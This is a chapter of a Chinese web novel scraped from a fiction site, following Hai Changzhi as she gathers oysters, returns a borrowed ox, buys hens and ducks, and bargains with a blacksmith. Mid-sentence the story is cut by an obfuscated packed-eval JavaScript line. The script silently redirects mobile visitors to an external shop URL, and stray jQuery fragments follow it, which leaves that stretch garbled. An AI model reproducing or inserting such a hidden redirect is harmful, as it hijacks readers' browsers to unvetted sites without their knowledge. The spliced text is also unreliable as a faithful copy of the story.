文趣网 > 其他小说 > 海岛争鲜 > 15. 牡蛎、母鸡和鸭子 退牛还钱巧得鸡鸭
    海长芝与林香莲两个,手里拎着鱼串,满载而归。

    海长芝想趁着退潮,在海边泥滩上多摸些螃蟹,回去煮给阿禄尝鲜。

    可是一摸摸了半天,那青口贝依旧是厚道,一摸一大串,只是那些螃蟹、蛏子,大约被赶早的渔人摸了个遍,只余些拇指大的小蟹,还在浅水洼里横着身子急急地爬,瞧着可怜见的。

    海长芝想起自己还满口应承了阿禄,说要弄螃蟹与他好好犒劳一番。

    不由叹了口气,对林香莲道:“我答应了那小子,总不好食言。”

    林香莲依旧秉持着自己的说辞:“我就说了,这海玩意儿费劲,肉没有二两,壳剥个没完。”

    海长芝自然知道,这么丁点儿大的蟹,剥壳倒比吃肉还费事,顶多放嘴里嚼嚼,咂摸点海味儿便吐了,实在无趣得紧。

    况且阿禄是从陆上来的,只怕连蟹壳也不会嚼,到时候蟹黄蟹肉没吃着,倒把嘴戳了。

    海长芝无奈道:“我想着潮退了随便能捡几只大的。”

    按着往日她干活,退潮日在自家海塘里就如同在菜市场,往泥里捞一把,便满满当当全是货。

    可惜头脑发热,竟忘了这海边还有着许多人一起吃用。

    林香莲掩口笑道:“既如此,你便想个别的法子搪塞他罢了。”

    海长芝沉吟一回,忽然灵机一动:“有了!”

    说罢从腰间摸出那柄随身的小刀,闪着一线寒光。

    她走到礁石边,那石上密密层层,尽是野生的牡蛎,一个个壳缘锋利,挤挤挨挨地攀在石面上,远远望去,有些碜人。

    海长芝心里原是不待见这东西的。

    她对熟牡蛎是没什么意见,甚至算得上爱吃,蒸了,热腾腾地端上来,倒也鲜甜美味。

    但幼时她父亲硬逼她尝生牡蛎,说这才是真味。

    她眼睁睁看着父亲将那清鼻涕似的软肉,“吸溜”一声吸进嘴里,那黏滑的声响、那半透明的软颤,给年幼的她留下了深深的阴影。

    打那以后,她便不肯自己料理这物事。

    但此刻为了生产工具,她咬了咬牙,将心一横,开撬!

    她挽起裤脚,蹲下身来,刀刃探进壳缝,使巧劲儿一撬,“啪”的一声轻响,壳便开了,露出里面肥白的肉,裹着一汪清清的海水。

    林香莲在一旁看得新鲜,捋起袖子,跃跃欲试道:“长芝,让我也试试手。”

    海长芝吓得连忙拦她:“你快别动!你这双手,又能做饭,又能缝补,若是叫这万恶的牡蛎壳刮破了,我拿什么换去?”

    说着便赶紧手起刀落,凑足三十之数,拿宽大的叶子兜了,便拉着林香莲打道回府。

    回到家中,天色已渐渐暗下来。

    林香莲把几个小家伙招呼到一处,吩咐他们端了木盆,将那青口贝倒进去,撒了粗盐,叫他们搓洗壳上的泥污。

    孩子们唧唧喳喳的,水花溅了一地,倒也热闹。

    海长芝则把那三十个牡蛎肉用盐水泡了,搁在灶台上。

    她转身打开橱柜,数了数里头仅剩的几枚鸡蛋,不由又懊恼起来,前几日便念叨着要买一窝鸡鸭回来养,竟又忘了。

    再一想,那几本要紧的弄书还得等着城里的人抄,至少十天半月。

    地也还没料理出来,那头借来的老黄牛还在棚里歇着,白费着草料。

    她两只手撑着灶台,只觉得千头万绪,成了一团乱麻。

    她叹了口气,索性先放下这些,拎了五六条肥美的鱼,用草绳穿了,先往邻村走一趟。

    寻着那老农民家,将老黄牛奉还,又赔了一条鱼做谢礼,说了好些感激的话。

    大爷见她还牛来,接过缰绳摸了摸牛脖子,又返身从屋里拿出个小布包,递过来:“姑娘,上回多给的钱,都在里头了,你点点。”

    海长芝倒吃了一惊,连声道:“大爷,这如何使得?牛我用了几日,本该算租钱的。”

    大爷摆摆手,憨厚一笑:“说好了用几日便是几日,剩下的自然要退。你们家日子也不容易。”

    海长芝心里热乎乎的,又忙从手里抽出一条鱼,硬塞过去:“那这条您务必收下,给孩子炖碗汤喝。”大爷推让不过,便笑呵呵地收了。

    她拿着退回的银钱和剩余的鱼,转身敲开大爷隔壁阿婆家的门。

    阿婆正在院中喂鸡,听得叩门声,抬眼一瞧,见是个生面孔的后生,手里拎着鱼,面上堆着笑。

    她拍了拍掌心秕谷,慢腾腾起身,开了半扇门,上下将海长芝打量一番。

    “这位娘子,敲错门了罢?”

    海长芝笑道:“不瞒阿婆说,我刚从隔壁大爷家出来的。听闻阿婆家养鸡养得好,方圆十里,都夸阿婆的鸡壮实、下蛋勤,特来求只母鸡,再要几只鸭子。您若有余的,匀我几只,价钱但凭您开。”

    阿婆只探出半个身子道:“你哪村的?我怎没见过你?”

    “我是海塘边上住的,姓海,才搬来不久。”海长芝说着,将鱼串往前递了递,“这是今儿才打上来的,阿婆若不嫌弃,先收下,算我一点心意。”

    阿婆这才开了门。

    院子里一排竹编鸡笼挨着墙根,咯咯咯叫成一片。

    另有几只鸭在墙角水盆边呷呷地扑腾,羽毛油光水滑。

    海长芝一眼便瞧中了,心里暗暗欢喜。

    阿婆领她到笼前,指着里头几只膘肥体圆的芦花母鸡道:“这几只正当年,日日都下蛋,你要是抱回去,管保日日有鲜蛋吃。”

    又往墙角指:“那两只白鸭,是上秋才换过毛的,耐寒,不挑食,好养活。”

    海长芝蹲下身,伸手探进笼去。

    那芦花鸡歪着头啄了啄她指尖,惹得她笑出声来:“好个灵性的东西。”又问价。

    阿婆报了一只母鸡五十文,一只半大母鸭四十文,也算公道。

    海长芝摸出钱袋,将方才退回的押钱悉数点出,又添了三条鱼,双手奉上。

    阿婆揣进怀里点了点,转身便去拿草绳,手脚麻利地捆了鸡鸭翅膀和脚爪,又额外送了她一小布袋秕谷。

    “头几日先喂这个,莫急着换食,免得闹肠子。”阿婆叮嘱道。

    海长芝千恩万谢,把鸡鸭先放在阿婆家,手里还有拎出来的最后一条鱼,准备去村口铁匠铺接阿禄回家。

    暮色里,锤声已歇了,铺子前只剩炉膛里余烬还泛着暗红的光。

    崔铁匠正坐在门槛上,就着一碗蛋花汤歇气,见海长芝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884282|212015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来,只拿下巴往铺里一努:“里头呢。”

    海长芝探头一瞧,阿禄正蹲在灶台前。

    “阿禄。”

    阿禄闻声,朝她张嘴一笑。

    海长芝过去看他手,果然,右手虎口磨了一道红印子,左手背还有块浅浅的烫痕,幸而没起泡。

    身上倒是齐齐整整。

    海长芝心下一宽,晓得那小子没挨揍,便走出去笑吟吟喊了声“崔师傅”。

    崔铁匠抬了抬眼皮,接过她递来的鱼和贝,在手里掂了掂,粗声道:“你倒会来事。”

    海长芝顺势蹲在一旁,替他续了碗茶,开口道:“崔师傅,白日里说的斧头、铁锹,不知几时能得好?又值多少银子?我这边好筹办筹办。”

    崔铁匠哼了一声,拿蒲扇大的手抹了把脸道:“斧头一把,铁锹一把,都按正经家伙打,斧头三百文,铁锹两百五十文,木柄另算,一根柄二十文,两样加起来合打便宜些,算你五百文。”

    海长芝心中一松。

    她原以为铁是天价,却没想到上次去市集卖掉几条超大肥鱼,就能把这钱换来。

    可硕大的肥鲈鱼也不是时时有,她得碰运气。

    想着,她就说了先赊几天帐,谁曾想,崔铁匠立刻恼了。

    一脸不耐烦,“赊账?便是县太爷家的小舅子来打锄头,那也是现银两讫!”

    海长芝面皮一热,待要再央求,忽听得身后灶间传来一声油响,接着一股子葱姜爆锅的焦香气直扑出来。

    阿禄端着一只大碗,颤巍巍从灶间挪了出来。

    碗里码着黄澄澄一物,上头缀着碧绿的葱花,瞧那模样,是拿鸡蛋、虾皮并着细切的白菜帮子,和了粗麦粉,煎成了一张厚实金黄的面饼子。

    “崔师傅,”阿禄从怀里摸出一双筷子,双手递过去,“您说要用饭,我擅自动了您的面,煎了这张饼。您尝尝咸淡?”

    崔铁匠本待发作,可那油香结结实实地撞在面上,他夹起一块送进嘴里,嚼了两嚼,神色便有些怔忪。

    他自己平日煮饭,不是糊了锅底便是夹着生芯,不曾吃过这样匀净齐整的面饼。

    心头一热,又扒了两口,那咸鲜热乎的滋味顺喉而下,竟勾出几分说不清的滋味来。他搁下筷子,粗声道:“好小子。”

    海长芝瞧在眼里,趁热打铁,又把阿禄卖了几天抵银钱。

    阿禄恭恭敬敬地站着,不敢多话。

    崔铁匠又咬了一口饼,终于松了口:“既如此,你回去凑钱,三日之内,拿五百文来换人。三日后见不着钱,我便把这小子扔到后山矿洞里去!”

    海长芝连连躬身道谢,阿禄也乖觉,忙又折回灶间,把剩下半锅热汤也一并端了出来,依旧紫菜蛋花。

    崔铁匠接过汤碗,挥挥手道:“去罢去罢,天都黑透了。小子明早天亮再过来生火。”

    海长芝把阿禄领到村口,去阿婆家取了鸡鸭。

    左手一只鸡,右手一只鸭,那只芦花母鸡肥壮,翅膀虽缚着,却时不时扑棱一下,浑身的毛便蓬松松地炸开来。

    阿禄一路便忍不住侧了头,偷偷地瞧。

    海长芝见他看得入神,便将手中草绳松了松,把芦花母鸡提到他面前:“你摸摸看。”